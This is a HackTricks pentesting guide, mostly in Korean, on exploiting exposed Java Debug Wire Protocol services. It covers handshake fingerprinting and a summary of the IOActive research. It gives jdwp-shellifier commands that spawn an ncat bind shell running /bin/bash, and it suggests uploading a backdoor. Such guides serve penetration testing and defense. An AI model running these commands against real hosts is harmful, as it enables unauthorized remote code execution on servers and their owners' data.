hacktricks/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md

8 KiB

Pentesting JDWP - Java Debug Wire Protocol

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요

실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요. 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

Exploiting

JDWP 익스플로잇은 프로토콜의 인증 및 암호화 부족에 의존합니다. 일반적으로 포트 8000에서 발견되지만 다른 포트도 가능합니다. 초기 연결은 대상 포트에 "JDWP-Handshake"를 전송하여 이루어집니다. JDWP 서비스가 활성화되어 있으면 동일한 문자열로 응답하여 존재를 확인합니다. 이 핸드셰이크는 네트워크에서 JDWP 서비스를 식별하는 지문 인식 방법으로 작용합니다.

프로세스 식별 측면에서 Java 프로세스에서 "jdwk" 문자열을 검색하면 활성 JDWP 세션을 나타낼 수 있습니다.

주요 도구는 jdwp-shellifier입니다. 다양한 매개변수와 함께 사용할 수 있습니다:

./jdwp-shellifier.py -t 192.168.2.9 -p 8000 #Obtain internal data
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept

I found that the use of --break-on 'java.lang.String.indexOf' make the exploit more stable. And if you have the change to upload a backdoor to the host and execute it instead of executing a command, the exploit will be even more stable.

More details

This is a summary of https://ioactive.com/hacking-java-debug-wire-protocol-or-how/. Check it for further details.

  1. JDWP 개요:
  • 패킷 기반의 네트워크 이진 프로토콜로, 주로 동기식입니다.
  • 인증 및 암호화가 부족하여 적대적인 네트워크에 노출될 경우 취약합니다.
  1. JDWP 핸드셰이크:
  • 통신을 시작하기 위해 간단한 핸드셰이크 프로세스가 사용됩니다. 디버거(클라이언트)와 디버기(서버) 간에 14자 ASCII 문자열 “JDWP-Handshake”가 교환됩니다.
  1. JDWP 통신:
  • 메시지는 길이, ID, 플래그 및 명령 집합과 같은 필드를 가진 간단한 구조를 가지고 있습니다.
  • 명령 집합 값은 0x40에서 0x80까지 다양하며, 서로 다른 동작 및 이벤트를 나타냅니다.
  1. 악용:
  • JDWP는 임의의 클래스와 바이트코드를 로드하고 호출할 수 있어 보안 위험을 초래합니다.
  • 이 기사는 Java Runtime 참조를 가져오고, 중단점을 설정하고, 메서드를 호출하는 5단계의 악용 프로세스를 자세히 설명합니다.
  1. 실제 악용:
  • 잠재적인 방화벽 보호에도 불구하고 JDWP 서비스는 발견 가능하며 실제 시나리오에서 악용될 수 있습니다. 이는 ShodanHQ 및 GitHub와 같은 플랫폼에서의 검색을 통해 입증됩니다.
  • 이 악용 스크립트는 다양한 JDK 버전에서 테스트되었으며 플랫폼에 독립적이며 신뢰할 수 있는 원격 코드 실행(RCE)을 제공합니다.
  1. 보안 의미:
  • 인터넷에 열린 JDWP 서비스의 존재는 정기적인 보안 검토, 프로덕션에서 디버그 기능 비활성화, 적절한 방화벽 구성의 필요성을 강조합니다.

References:

Get a hacker's perspective on your web apps, network, and cloud

Find and report critical, exploitable vulnerabilities with real business impact. Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}